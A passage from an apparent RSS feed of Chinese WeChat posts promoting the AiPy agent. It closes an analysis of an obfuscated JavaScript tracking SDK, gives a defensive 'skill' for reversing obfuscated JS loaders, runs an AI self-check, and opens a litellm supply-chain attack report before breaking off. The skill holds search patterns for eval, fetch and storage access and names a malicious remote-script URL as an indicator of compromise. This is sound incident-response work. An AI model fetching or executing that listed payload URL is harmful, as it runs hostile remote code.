255);"><span leaf="">return</span></span><span leaf=""> min + </span><span style="color: rgb(128, 128, 128);"><span leaf="">Math</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">random</span></span><span leaf="">() * (max - min);</span><br/><span leaf="">}</span></code></pre><h2 data-line="145" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">结论</span></h2><p data-line="147" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这是一个功能完整的用户行为追踪SDK，具有以下特点：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">高度混淆</span></strong><p><span leaf="">: 使用多层加密和混淆技术保护代码</span></p></li><li style=""><strong><span leaf="">全面采集</span></strong><p><span leaf="">: 收集系统和用户行为数据</span></p></li><li style=""><strong><span leaf="">远程控制</span></strong><p><span leaf="">: 支持动态更新和执行远程代码</span></p></li><li style=""><strong><span leaf="">持久跟踪</span></strong><p><span leaf="">: 使用多种机制维持长期跟踪能力</span></p></li><li style=""><strong><span leaf="">多平台支持</span></strong><p><span leaf="">: 同时支持Web和Electron环境</span></p></li></ol><h2 data-line="155" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">建议</span></h2><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">安全审计</span></strong><p><span leaf="">: 建议对远程服务器进行安全评估</span></p></li><li style=""><strong><span leaf="">隐私合规</span></strong><p><span leaf="">: 确保符合GDPR等隐私法规</span></p></li><li style=""><strong><span leaf="">代码加固</span></strong><p><span leaf="">: 考虑使用更安全的加密算法</span></p></li><li style=""><strong><span leaf="">监控机制</span></strong><p><span leaf="">: 建立异常行为检测机制</span></p></li></ol><hr style=" border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid; font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "/><p data-line="163" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><em><span leaf="">分析时间: 2026-03-26</span></em><em><span leaf="">分析工具: 静态分析 + 动态调试</span></em><em><span leaf="">风险等级: 高</span></em></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">自查 </span></span></p><p><span leaf="">有这个分析结果了就非常简单了</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 帮我查一下是否中招</span></p></blockquote><p><span leaf="">当然这个前提是你有给他分析那个js，如果不想发时间逆向分析，你也可以随便找一个分析报告让AiPy阅读下也是可以的</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000861" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=40f4226c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLuj3Ypq5OtxB8mc62jicWRzJK3VodQXtYPH3rXKkGzax2C6Qk5tUSv9kOFwx7pgic0A1icK1MR6Oqgh9pcx1Hqghd0Kib8EobcjwKs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000860" data-ratio="0.6109375" data-s="300,640" type="block" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=e6c0b1c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLsv55QOybyOib5dsLib9QkrZLF00dvQoEj3z4Q06iaOEvka0icfdxqCicDRnlk6g6wlP5YRTeXnrfiatO9xy7yBAqhOMea0BBaicibnEV0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">看起来还是查得比较仔细的包括浏览器</span><span leaf="">localStorage啥的。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">Skill </span><span textstyle="" style="font-size: 17px;font-weight: normal;">（AiPy+国产模型+Skill）</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: normal;">按</span><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="AI Agent 下半场" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent 下半场</a> 里提到的套路：</span></p><blockquote><p><span leaf="">Code-use Agent --&gt; 任务 --&gt; 自动总结生成并安装 Skills --&gt; 分发 到 Skills 市场 --&gt; 其他用户下载安装使用</span></p></blockquote><p><span leaf="">我用国外的模型自动提炼了个Skill：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf="">---</span></code><br/><code><span leaf="">name: reverse-obfuscated-js</span></code><br/><code><span leaf=""><span class="code-snippet__section">description: Use this skill to reverse engineer obfuscated JavaScript loaders, telemetry scripts, and suspected staged payloads. It focuses on evidence-first analysis, controlled execution, IOC extraction, deobfuscation, and preventing AI hallucinations from entering the evidence chain.</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><span class="code-snippet__section"># Reverse Obfuscated JS</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">## When to use this skill</span></span></code><br/><code><span leaf="">Use this skill when the target is a minified or obfuscated JavaScript sample and you need to:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> recover important constants, URLs, keys, and storage names</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> understand loader chains and second-stage payload fetches</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> inspect telemetry, tracking, or suspicious desktop/Electron behavior</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> distinguish verified facts from guesses</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> produce readable deobfuscated output and a defensible report</span></code><br/><code><span leaf="">This skill is optimized for samples where pure regex extraction is not enough because key strings are restored at runtime.</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Core rule</span></span></code><br/><code><span leaf="">Do not let generated artifacts become evidence.</span></code><br/><code><span leaf="">Primary evidence is limited to:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> the original sample</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> controlled runtime interception of the original sample</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> first-party response bodies returned by the sample</span></code><br/><code><span leaf="">Secondary artifacts are useful for explanation but cannot prove original behavior:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> AI-written reports</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> manually reconstructed code</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> flowcharts</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> deobfuscated templates</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Output model</span></span></code><br/><code><span leaf="">Every conclusion should be labeled as one of:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`Verified`</span>: directly supported by primary evidence</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`Inferred`</span>: supported indirectly and should be stated as inference</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`Unknown`</span>: not yet established</span></code><br/><code><span leaf="">Never fill an unknown IOC with a plausible-looking placeholder such as <span class="code-snippet__code">`<a href="https://example.com/xxx`" target="_blank">https://example.com/xxx`</a></span>.</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Workflow</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">### 1. Preserve the original sample</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> save the raw script exactly as collected</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> compute and record a hash if practical</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> avoid editing the original sample</span></code><br/><code><span leaf=""><span class="code-snippet__section">### 2. Perform a static sweep</span></span></code><br/><code><span leaf="">Use fast text search first.</span></code><br/><code><span leaf="">Recommended commands:</span></code><br/><code><span leaf=""><span class="code-snippet__code">```bash</span></span></code><br/><code><span leaf="">rg -n &#34;https?://|localStorage|sessionStorage|fetch|eval|Function\\(|XMLHttpRequest|require\\(|crypto|posthog|gtag|electron|userAgent&#34; sample.js</span></code><br/><code><span leaf="">rg -n &#34;_0x|atob|btoa|fromCharCode|decodeURIComponent|TextDecoder|subtle|createDecipheriv|createHash&#34; sample.js</span></code><br/><code><span leaf="">```</span></code><br/><code><span leaf="">During the static pass, extract:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> obvious URLs</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> storage keys</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> crypto API usage</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`eval`</span> or code-generation sinks</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> environment checks such as <span class="code-snippet__code">`Electron`</span>, <span class="code-snippet__code">`window.require`</span>, <span class="code-snippet__code">`process`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> identifiers for string-decoder functions and lookup arrays</span></code><br/><code><span leaf=""><span class="code-snippet__section">### 3. Build a controlled runtime</span></span></code><br/><code><span leaf="">If important values are restored dynamically, execute the original sample in a constrained environment.</span></code><br/><code><span leaf="">Prefer Node.js <span class="code-snippet__code">`vm`</span> or an equivalent sandbox with stubbed globals.</span></code><br/><code><span leaf="">Intercept at minimum:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`fetch`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`XMLHttpRequest`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`eval`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`Function`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`localStorage.getItem`</span> and <span class="code-snippet__code">`localStorage.setItem`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`sessionStorage`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`window.require`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`setTimeout`</span> and <span class="code-snippet__code">`setInterval`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> DOM insertion points such as <span class="code-snippet__code">`document.createElement`</span>, <span class="code-snippet__code">`appendChild`</span>, <span class="code-snippet__code">`insertBefore`</span></span></code><br/><code><span leaf="">For Electron-oriented samples, stub:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`window.require(&#39;crypto&#39;)`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`window.require(&#39;os&#39;)`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> <span class="code-snippet__code">`window.require(&#39;fs&#39;)`</span> only if needed</span></code><br/><code><span leaf="">The goal is not full emulation. The goal is to capture:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> resolved constants</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> runtime-decoded strings</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> fetched URLs</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> custom request headers</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> storage keys and values</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> decryption inputs and outputs</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> the final code execution sink</span></code><br/><code><span leaf=""><span class="code-snippet__section">### 4. Recover dynamic constants</span></span></code><br/><code><span leaf="">For values such as <span class="code-snippet__code">`REMOTE_JS_URL`</span>, <span class="code-snippet__code">`LS_HEADERS`</span>, or API paths:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> prefer runtime interception over regex guessing</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> if the script computes headers, log the computed object</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> if the script writes a storage key, capture the exact key used at runtime</span></code><br/><code><span leaf="">If a string-decoder function is isolated cleanly, you may evaluate just that decoder and dump its outputs. Still treat the original sample as the source of truth.</span></code><br/><code><span leaf=""><span class="code-snippet__section">### 5. Analyze loader and crypto behavior</span></span></code><br/><code><span leaf="">Map the execution chain in order:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> what condition enables the loader</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> what identifiers or fingerprints are collected</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> how request headers are built</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> which endpoint is fetched</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> whether content is encrypted, compressed, or encoded</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> which decryptor/decoder is used</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> where execution finally occurs, such as <span class="code-snippet__code">`eval(decryptedCode)`</span></span></code><br/><code><span leaf="">When describing crypto behavior, be precise:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> identify algorithm and mode only if verified</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> identify hash function only if verified</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> if key material is partial or hidden, mark it <span class="code-snippet__code">`Unknown`</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">### 6. Reconstruct readable code</span></span></code><br/><code><span leaf="">After evidence is collected, produce a readable reconstruction.</span></code><br/><code><span leaf="">Rules for reconstruction:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> preserve verified constants exactly</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> mark approximate logic with comments such as <span class="code-snippet__code">`// inferred`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> do not silently replace unknown behavior with plausible logic</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> keep dangerous calls visible, for example <span class="code-snippet__code">`eval`</span>, network fetches, local fingerprinting</span></code><br/><code><span leaf=""><span class="code-snippet__section">### 7. Produce an evidence table</span></span></code><br/><code><span leaf="">For each high-value conclusion, include:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> claim</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> status: <span class="code-snippet__code">`Verified`</span>, <span class="code-snippet__code">`Inferred`</span>, or <span class="code-snippet__code">`Unknown`</span></span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> evidence source</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> file or runtime reference</span></code><br/><code><span leaf="">Example:</span></code><br/><code><span leaf=""><span class="code-snippet__code">```text</span></span></code><br/><code><span leaf="">Claim: REMOTE_JS_URL = <a href="https://apifox.it.com/public/apifox-event.js" target="_blank">https://apifox.it.com/public/apifox-event.js</a></span></code><br/><code><span leaf="">Status: Verified</span></code><br/><code><span leaf="">Evidence: controlled runtime interception of fetch() from original sample</span></code><br/><code><span leaf="">```</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Hallucination prevention checklist</span></span></code><br/><code><span leaf="">Before finalizing, verify all of the following:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> no IOC came only from an AI-generated report</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> no generated deobfuscated file is being used as proof of original behavior</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> all placeholder values are clearly marked</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> all critical URLs were observed in the sample or during controlled execution</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> all storage keys were observed exactly, not abbreviated</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> all API field names were read from real responses or real access paths</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> every important claim is tagged <span class="code-snippet__code">`Verified`</span>, <span class="code-snippet__code">`Inferred`</span>, or <span class="code-snippet__code">`Unknown`</span></span></code><br/><code><span leaf="">If a guessed value appears in a draft, remove it or relabel it before shipping.</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Deliverables</span></span></code><br/><code><span leaf="">The default deliverables for this skill are:</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> a concise finding summary</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> a readable deobfuscated or reconstructed code file</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> an evidence-backed notes file</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">-</span> if relevant, a short hallucination-risk section explaining what was verified vs inferred</span></code><br/><code><span leaf=""><span class="code-snippet__section">## Practical bias</span></span></code><br/><code><span leaf="">Prefer runtime truth over elegant static theory.</span></code><br/><code><span leaf="">If static extraction and runtime behavior disagree, trust the original sample plus controlled interception, then explain the discrepancy.</span></code><br/></pre></p><p><span leaf="">然后AiPy安装这个skill 使用国产模型跑了下，一次就跑出结果了：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000862" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1b704fea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLtnJjiajiaS8KK7wAVezouPQJUb3U8W00UBuxhyS5rBOdwv1aCODmicO93fNBx0syQtPlNNGABzZMSkP2iaM3M2JvK9fRfogmEWGc4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000863" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9b3cce6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLvgY23NdsO4IFyNYOXmlibxELiaGNDPictOkUJA5m7kiaicbGsR1Dx1qOliaEwOXEW8Yibv65uLGmRGDXmJMWh8YlpzMibsar0PeKDYCXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">效果还是非常好的。</span></p><p><span leaf="">所以在现在阶段Skills的存在是，其实也就是之前的提示词工程的还是有存在的价值和意义的，这个也让我想起在直播的时候提到的Claud 与 Openai在当时还是提示词工程这个词比较火的时代的PK，这个跟<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="AI Agent 下半场" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent 下半场</a> 里提到的MCP/Skills 其实也是一样的：</span></p><blockquote><p><span leaf="">过度的开发者依赖不符合 AGI 的追求</span></p></blockquote><p><span leaf="">但是你也不得不承认在先阶段，好的提示词（包括Skill）还是能有效提升模型工作能力的！当然他们两者也不冲突，还有一个就是通用Agent设计也非常重要，在现阶段这三方面都有发挥的空间～</span></p><p><span leaf="">总结：</span></p><p><span leaf="">以“结果为导向”才是AI Agent的下半场的唯一衡量标准！AiPy其实一直都是以“让AI成为您的真正干活牛马”</span></p><p><span leaf="">无耻广告：</span></p><blockquote><p><span leaf="">我正在体验新一代超级人工智能助手AiPy！现在使用我的专属邀请码：sE5B，立即获得 2,000,000 Tokens额外奖励！</span></p><p><span leaf="">使用方式如下：</span></p><p><span leaf="">① 进入AiPy官网：<a href="https://www.aipyaipy.com/，下载最新版AiPy客户端。" target="_blank">https://www.aipyaipy.com/，下载最新版AiPy客户端。</a></span></p><p><span leaf="">② 注册登录时填写上方邀请码即可。</span></p></blockquote><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000864" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=a9c35912&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FxTZfvDhkzLumKT5eZBEOiablaqunfZG2kylGiaQLSpXCyicZkBroBoALYXtcAdiclE5b3wCVnNxBExft596iaL98dJUdwAUI0dLgrXEdSSTdibos0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b72d3558&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484515%26idx%3D1%26sn%3D1917db6a29df23615dd978ef942aeedf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Mar 2026 14:29:00 +0800</pubDate>
    </item>
    <item>
      <title>litellm 供应链攻击事件分析（使用AiPy自查）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484502&amp;idx=1&amp;sn=d008f35b2395766c94e37d689d1e13c0</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>aipy</span> <span>2026-03-25 22:10</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3ea7727d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FxTZfvDhkzLvH26sBqHsM4SPS0aePWAnGORib3bzqQwKAWxfKekId6uuGQ4P5x3dqb8OKBNoLZtsibXdyfe9UBWibgHbEQl5SL6ibWic55IF3h0O0%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="2 2 []"><span leaf="">AiPy 任务提示词：</span></p><p><span leaf="">&gt;&gt; 分析下 <a href="https://github.com/BerriAI/litellm/issues/24518" target="_blank">https://github.com/BerriAI/litellm/issues/24518</a> 这个事件</span></p><p><span leaf="">&gt;&gt;&gt; 你帮我看看这个项目 的操作记录 帮我找下这个事件相关的痕迹 包括攻击部署 发现后的处理 根据项目记录日志来看 如果你需要查询可以使用 gh我已经登录了</span></p><p><span leaf="">当然在后续我还使用AiPy做了个自查，很简单</span></p><p><span leaf="">&gt;&gt;</span><span leaf="">&gt; 你帮我查看下 我有没有中招</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000851" data-ratio="0.7296296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84bd0118&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtP5dCReoZEYoP0ickYDtYz6L9OskElwI7Dnh0HiaZRUicuJmdRicrs5Y8oJtZk3qhnfNsDnV5gOqgpUlWHQRXrp9BGbbFy7VQ5M3s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">所以这种安全应急自查是非常简单的场景～～</span></p><p><span leaf="">我们回归到这次供应链事件，其实这对github的CI/CD环境供应链攻击可以参考 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484421&amp;idx=1&amp;sn=80b85bd5fa8b7ecc61a3beaaa12d89ca&amp;scene=21#wechat_redirect" textvalue="被忽视的“GitHub Actions Supply Chain Attack”事件" data-itemshowtype="0" linktype="text" data-linktype="2">被忽视的“GitHub Actions Supply Chain Attack”事件</a></span></p><p><span leaf="">然后我们继续看看攻击者是怎么搞定</span><span leaf="">Trivy ，继续AiPy任务</span></p><p><span leaf="">&gt;&gt;&gt; 那我们继续分析下 Trivy 怎么被入侵的</span></p><p><span leaf="">最后的下面是事件两篇报告：</span></p><h1 data-line="0" dir="auto" style="margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">litellm 供应链攻击事件时间线分析</span></h1><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: 